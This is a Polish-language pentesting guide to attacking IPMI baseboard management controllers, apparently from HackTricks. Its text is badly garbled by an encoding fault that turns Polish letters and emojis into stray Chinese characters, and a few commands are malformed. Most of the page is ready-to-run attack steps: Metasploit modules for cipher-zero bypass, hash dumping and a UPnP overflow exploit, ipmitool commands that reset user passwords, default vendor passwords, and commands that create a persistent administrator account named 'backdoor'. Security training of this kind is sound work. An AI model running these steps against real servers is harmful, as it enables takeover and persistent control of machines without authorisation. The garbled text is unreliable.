# 623/UDP/TCP - IPMI ## 623/UDP/TCP - IPMI {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Podstawowe informacje ### **Przegl膮d IPMI** **[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferuje ustandaryzowane podej艣cie do zdalnego zarz膮dzania i monitorowania system贸w komputerowych, niezale偶nie od systemu operacyjnego czy stanu zasilania. Technologia ta pozwala administratorom system贸w na zdalne zarz膮dzanie systemami, nawet gdy s膮 wy艂膮czone lub nieodpowiadaj膮ce, i jest szczeg贸lnie przydatna w przypadku: - Konfiguracji przed uruchomieniem systemu operacyjnego - Zarz膮dzania zasilaniem - Odzyskiwania po awariach systemu IPMI jest w stanie monitorowa膰 temperatury, napi臋cia, pr臋dko艣ci wentylator贸w i zasilacze, a tak偶e dostarcza膰 informacje o inwentarzu, przegl膮da膰 logi sprz臋towe i wysy艂a膰 powiadomienia za pomoc膮 SNMP. Do jego dzia艂ania niezb臋dne s膮 藕r贸d艂o zasilania i po艂膮czenie LAN. Od momentu wprowadzenia przez firm臋 Intel w 1998 roku, IPMI jest wspierane przez wielu dostawc贸w, co zwi臋ksza mo偶liwo艣ci zdalnego zarz膮dzania, szczeg贸lnie dzi臋ki wsparciu wersji 2.0 dla komunikacji szeregowej przez LAN. Kluczowe komponenty to: - **Baseboard Management Controller (BMC):** G艂贸wny mikrokontroler do operacji IPMI. - **Szyny i interfejsy komunikacyjne:** Do komunikacji wewn臋trznej i zewn臋trznej, w tym ICMB, IPMB oraz r贸偶ne interfejsy do po艂膮cze艅 lokalnych i sieciowych. - **Pami臋膰 IPMI:** Do przechowywania log贸w i danych. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **Domy艣lny port**: 623/UDP/TCP (Zwykle dzia艂a na UDP, ale mo偶e r贸wnie偶 dzia艂a膰 na TCP) ## Enumeracja ### Odkrywanie ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` Mo偶esz **zidentyfikowa膰** **wersj臋** za pomoc膮: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMI Vulnerabilities W dziedzinie IPMI 2.0, istotna luka w zabezpieczeniach zosta艂a odkryta przez Dana Farmera, ujawniaj膮c podatno艣膰 poprzez **cipher type 0**. Ta podatno艣膰, szczeg贸艂owo udokumentowana w [badaniach Dana Farmera](http://fish2.com/ipmi/cipherzero.html), umo偶liwia nieautoryzowany dost臋p z dowolnym has艂em, pod warunkiem, 偶e celem jest wa偶ny u偶ytkownik. Ta s艂abo艣膰 zosta艂a znaleziona w r贸偶nych BMC od producent贸w takich jak HP, Dell i Supermicro, co sugeruje powszechny problem we wszystkich implementacjach IPMI 2.0. ### **IPMI Authentication Bypass via Cipher 0** Aby wykry膰 t臋 luk臋, mo偶na wykorzysta膰 nast臋puj膮cy skaner pomocniczy Metasploit: ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` Wykorzystanie tej luki jest mo偶liwe za pomoc膮 `ipmitool`, jak pokazano poni偶ej, co pozwala na wy艣wietlenie i modyfikacj臋 hase艂 u偶ytkownik贸w: ```bash apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` ### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval** Ta luka umo偶liwia pobranie zasolonych haszy hase艂 (MD5 i SHA1) dla dowolnej istniej膮cej nazwy u偶ytkownika. Aby przetestowa膰 t臋 luk臋, Metasploit oferuje modu艂: ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **IPMI Anonymous Authentication** Domy艣lna konfiguracja w wielu BMC pozwala na "anonimowy" dost臋p, charakteryzuj膮cy si臋 pustymi ci膮gami nazwy u偶ytkownika i has艂a. Ta konfiguracja mo偶e by膰 wykorzystana do resetowania hase艂 kont u偶ytkownik贸w o nazwanych kontach za pomoc膮 `ipmitool`: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI Has艂a w czystym tek艣cie** Krytyczny wyb贸r projektowy w IPMI 2.0 wymaga przechowywania hase艂 w czystym tek艣cie w BMC w celach uwierzytelniania. Przechowywanie tych hase艂 przez Supermicro w lokalizacjach takich jak `/nv/PSBlock` lub `/nv/PSStore` budzi powa偶ne obawy dotycz膮ce bezpiecze艅stwa: ```bash cat /nv/PSBlock ``` ### **Supermicro IPMI UPnP Vulnerability** W艂膮czenie przez Supermicro nas艂uchiwacza UPnP SSDP w swoim oprogramowaniu IPMI, szczeg贸lnie na porcie UDP 1900, wprowadza powa偶ne ryzyko bezpiecze艅stwa. Luki w Intel SDK dla urz膮dze艅 UPnP w wersji 1.3.1, szczeg贸艂owo opisane w [ujawnieniu Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), umo偶liwiaj膮 dost臋p root do BMC: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Brute Force **HP losowo generuje domy艣lne has艂o** dla swojego produktu **Integrated Lights Out (iLO)** podczas produkcji. Ta praktyka r贸偶ni si臋 od innych producent贸w, kt贸rzy zazwyczaj u偶ywaj膮 **statycznych domy艣lnych po艣wiadcze艅**. Podsumowanie domy艣lnych nazw u偶ytkownik贸w i hase艂 dla r贸偶nych produkt贸w przedstawiono poni偶ej: - **HP Integrated Lights Out (iLO)** u偶ywa **fabrycznie losowego 8-znakowego ci膮gu** jako domy艣lnego has艂a, co pokazuje wy偶szy poziom bezpiecze艅stwa. - Produkty takie jak **iDRAC firmy Dell, IMM firmy IBM** i **Zintegrowany Kontroler Zdalnego Zarz膮dzania Fujitsu** u偶ywaj膮 艂atwych do odgadni臋cia hase艂, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio. - Podobnie, **Supermicro IPMI (2.0), Oracle/Sun ILOM** i **ASUS iKVM BMC** r贸wnie偶 u偶ywaj膮 prostych domy艣lnych po艣wiadcze艅, z "ADMIN", "changeme" i "admin" jako ich has艂ami. ## Accessing the Host via BMC Dost臋p administracyjny do Kontrolera Zarz膮dzania P艂yt膮 G艂贸wn膮 (BMC) otwiera r贸偶ne 艣cie偶ki do uzyskania dost臋pu do systemu operacyjnego hosta. Proste podej艣cie polega na wykorzystaniu funkcji KVM (Keyboard, Video, Mouse) BMC. Mo偶na to zrobi膰, uruchamiaj膮c ponownie hosta do pow艂oki root za pomoc膮 GRUB (u偶ywaj膮c `init=/bin/sh`) lub uruchamiaj膮c z wirtualnego CD-ROM-u ustawionego jako dysk ratunkowy. Takie metody pozwalaj膮 na bezpo艣redni膮 manipulacj臋 dyskiem hosta, w tym wstawianie backdoor贸w, ekstrakcj臋 danych lub wszelkie niezb臋dne dzia艂ania w celu oceny bezpiecze艅stwa. Jednak wymaga to ponownego uruchomienia hosta, co jest istotn膮 wad膮. Bez ponownego uruchamiania, dost臋p do dzia艂aj膮cego hosta jest bardziej skomplikowany i r贸偶ni si臋 w zale偶no艣ci od konfiguracji hosta. Je艣li fizyczna lub szeregowa konsola hosta pozostaje zalogowana, mo偶na j膮 艂atwo przej膮膰 za pomoc膮 funkcji KVM lub serial-over-LAN (sol) BMC za pomoc膮 `ipmitool`. Badanie wykorzystania wsp贸lnych zasob贸w sprz臋towych, takich jak magistrala i2c i chip Super I/O, to obszar, kt贸ry wymaga dalszego zbadania. ## Introducing Backdoors into BMC from the Host Po skompromitowaniu hosta wyposa偶onego w BMC, **lokalny interfejs BMC mo偶e by膰 wykorzystany do wstawienia konta u偶ytkownika backdoor**, tworz膮c trwa艂膮 obecno艣膰 na serwerze. Atak ten wymaga obecno艣ci **`ipmitool`** na skompromitowanym ho艣cie oraz aktywacji wsparcia dla sterownik贸w BMC. Poni偶sze polecenia ilustruj膮, jak nowe konto u偶ytkownika mo偶e by膰 wstrzykni臋te do BMC za pomoc膮 lokalnego interfejsu hosta, co omija potrzeb臋 uwierzytelnienia. Ta technika ma zastosowanie w szerokim zakresie system贸w operacyjnych, w tym Linux, Windows, BSD, a nawet DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan * `port:623` ## References * [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) {% hint style="success" %} Ucz si臋 i 膰wicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Ucz si臋 i 膰wicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie HackTricks * Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Dziel si臋 trikami hackingowymi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}